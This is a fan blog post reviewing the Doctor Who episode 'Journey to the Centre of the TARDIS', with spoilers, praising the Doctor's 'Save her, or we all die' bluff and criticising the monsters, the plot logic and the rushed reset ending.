I have to say, Doctor Who is a relatively odd experience for me these days.  There have been many episodes in the Matt Smith episode that have just left me completely disappointed and dislocated from the absorbing storyline of  the Time Lord and his many companions.  To me it has been quite unnerving, because many of the plots have just been ludicrous to the point that I don’t want to ‘take them seriously’ – in other words, I cherry-pick my favourite episodes and try to forget all the below average episodes that don’t fit my vision of Doctor Who. Woah, reading that back to myself… Doctor Who IS a Religion!

But behold, the one episode of Doctor Who in Matt Smith’s era that I actually don’t mind.  Keep note here,  I didn’t say I love it – but it is most definitely an improvement.  That episode is ‘Journey to the Centre of the TARDIS’ – and let me tell you what really made this episode for me. THIS POST CONTAINS SPOILERS.

My Favourite Things


1. “Save her, or we all die.

“It’s no secret that Matt Smith hasn’t played a very serious Doctor in his time on the show.  His incarnation of the Doctor often seems more confused and silly than serious and insightful – I’m not saying that the role of the Doctor shouldn’t be humorous – but there’s a balance needed to persuade the thought that there is over 900 years of Time Lord in that head.  Even Tom Baker, who was without a doubt one of the more silly Doctors, had his balance of seriousness and wisdom.

When the Doctor set the timer and locked the scavengers in the TARDIS – telling them that if Clara wasn’t found within the hour the Time Machine would explode killing them all – I, for the first time in ages of watching Doctor Who, laughed in excitement.  That was the Doctor that I’ve always wanted Matt Smith’s Doctor to be.  But it gets better. For me, the greatest moment in this episode… and I could probably go as far as to say the whole Matt Smith era leading up until now… was the bluff.  Later on in the episode, the Doctor reveals that he was bluffing – saying that you just have to ‘Wiggle a few buttons’ – but most importantly, give them ‘the face’ and say, “Save her, or we all die.”  Absolutely freaking brilliant and so very, very Doctor Who.  It sends shivers down my spine just thinking of the perfect execution of that scene. (They slightly diminished the moment when the dialogue suddenly devolved into ‘We’re in trouble Clara, proper trouble. It needs fixing or we’re toast.’ Nonetheless, that moment is fantastic all the same.

“I just wiggled a few buttons, yeah, the old wiggly-button trick – and the face, you’ve GOT to do the face.  Save her, or we all die. I thought I rushed it a bit but..” – Best Line, Evvver!


2. Ye’ Old References

The references in this episode were pretty abundant.  I smiled when I saw the ‘Eye Of Harmony’ on the screen of the TARDIS console, memories of the Gallifreyan power-source, and the Doctor Who Movie from 1996. To be perfectly honest though – I really wish that it had been the only reference to the Eye of Harmony in the episode.  I’d much have preferred if it were left out of the plot – and just remained an Easter Egg.  Just like the ‘Smiths’ key, the various Gallifreyan audio encyclopedias, the toy TARDIS from Amy.  They even showed us the TARDIS’s swimming pool that we’ve heard so much about but never seen… at any point… ever.

I don’t think that a lot of the rooms that Clara bumped into really seemed to fit into the TARDIS… nor did it make sense that she was stopping and taking the time to look at these rooms and smiling while there was a monster chasing her…  These references seemed a bit out-of-place, or unnaturally squished into the episode.

3. Genuine Doctor-ness1

Often in Doctor Who there have been times where I felt that the reaction of the characters in the show don’t always seem very expected.  I have to say I was quite pleasantly surprised to find that when the TARDIS went dark the Doctor acted accordingly.  He wasn’t exaggerated and panicky, scared – he was serious and concerned.  I’m probably just pulling this out of the air. =)


I know that the Doctor Who Movie isn’t really cited as a ‘true to Doctor Who’ storyline – being that the Doctor is somehow ‘half-human’ in the movie. But it still irritates me a bit that these two things are … so very different.

My Not-So-Favourite Things


1. The Monsters

During the episode, everyone, particularly Clara, is being chased by these horrid mutant monstrosities. Later we find out that these monsters are in fact the Doctor, Clara and the scavengers from the future – who have been cooked and boiled alive by being exposed to the Eye of Harmony for too long. Considering the fact that exposure to the static pre-black hole is pretty ruddy damaging to… living in comfort… it really makes me wonder why the flip the Doctor decided that it’d be the best time to STOP and EXPLAIN his clever Gallifreyan technology to everyone… WHILE THEY’RE STANDING IN FRONT OF IT. Wouldn’t it have been better to give your tour-guide speech AFTER you’d gotten to safety and were no longer in threat of  being char-grill-zombified!? Come on!

Also – if you’re cooked, roasted and liquified I would have thought that you’d be in some pretty serious pain.  I would have also thought that walking around and hunting down yourself in the past would have seemed like a pretty ruddy weird thing to do.  Not to mention… your muscles and bones are… out-of-order… which I assume would make mobility quite difficult in the first place.

Why did the Doctor and Clara NOT turn into monsters even though they were exposed to the Eye for the same amount of time as the scavengers – and why on Earth is the transformation so instantaneous?

LASTLY,  the Doctor… is a Time Lord… We’ve all established this.  Now correct me if I’m wrong.  But if a Time Lord’s body is brutally injured or damaged beyond healing… there’s a certain little trick they’ve got called ‘Regeneration’ – I would have really thought that liquified cells, burning skin and strange glowing-eyes would be classified as pretty significant bodily damage.  Oh well, perhaps there’s a point where a Time Lord’s body can be too far damaged for the cycle to work.

2. The Name of The Doctor3

Quite an interesting inclusion was the ‘History of the Great Time War’ book – then again the fact that Clara learns the real name of the Doctor… only to forget it when time is rewritten (more on that later) seemed a bit pointless, (I guess you could claim the whole episode pointless considering it technically never happened. Hmm.)

It was cool to see – but poorly implemented.  Clara walks up and instantly flips to the exact page where the Doctor is mentioned by his Gallifreyan name?  How does she even know that its him that book is referring to?  I. Don’t. Know.  Seemed like it was more of a reference to the season finale more than anything.


3. TARDIS Engine Explosion?a2-engineboom

What? The engine of the TARDIS explodes – the TARDIS decides to freeze it in time and prevent it from causing any problems.

Just curious, it seemed like a very odd place for an engine.  A white vast empty space… and it… exploded upon ‘impact’ with the scavenging ship?  Lovely durable Gallifreyan technology right there, I’m surprised the black hole being held in stasis didn’t suddenly break free of its captivity and start swallowing everything up.  But never fear, you can fix all damaged done to the TARDIS by just jumping back in time…inside the time machine… and reclaim your time machine from before it broke. It’s all very strange.


4. Mountain Climbinga1

Why is there a large cliff inside the TARDIS?  I guess it’s a similar scenario to what we saw in Tom Baker’s era, where he was walking around corridors of the TARDIS which were quite obviously the hallways of an abandoned hospital.  Yes it added more variety to the episode – and the Doctor described it as ‘snarling’ at them to scare them away because it was vulnerable.  Well it seems more than just ruddy vulnerable if the engine has exploded…  Seems like it’s ‘in proper trouble.’



The writer, Steve Thompson, who also brought us the rather… ordinary… ‘Curse of the Black Spot’ episode, has done really well here.  By far my favourite Matt Smith episode – however I feel that the ending was very rushed, and because of this you come away after watching it pretty unfulfilled.  The feeling of fulfillment has been pretty rare with Doctor Who in recent times – but this episode was so close to being perfect! For what I got from this was 40 minutes of pretty decent, genuine, fan-boy Easter egg filled adventure… that was all swept under the rug and destroyed because the Doctor stopped it from ever happening in the first place.  The conversation the Doctor had with Clara about who she was? Never happened.  Clara’s journey through the TARDIS and finally getting to know her? Never happened.  ‘The Big Friendly Button?’ Whaaat?

Journey to the Centre of the TARDIS had some really great elements – but I just come away from it wanting more.  The ending was too quick and contributed nothing to the long-term storyline of the Doctor and Clara because they won’t remember any of it.  The zombified monsters that are really themselves… which means they’re attacking themselves for some strange reason… some family dilemmas between some of the scavengers – which you kind of suspect at the start of the episode anyway.

Certainly my favourite episode in this era so far – lets see though if Neil Gaiman can win me over with his ‘Nightmare in Silver’ episode.  Have to say, I’m quite worried about the episode entitled: “The Name of the Doctor” – but I doubt that Moffat would reveal the name of the Time Lord… I hope…


Well there, long post – probably ambiguous in nature and filled with contradiction… nonetheless.

See you later,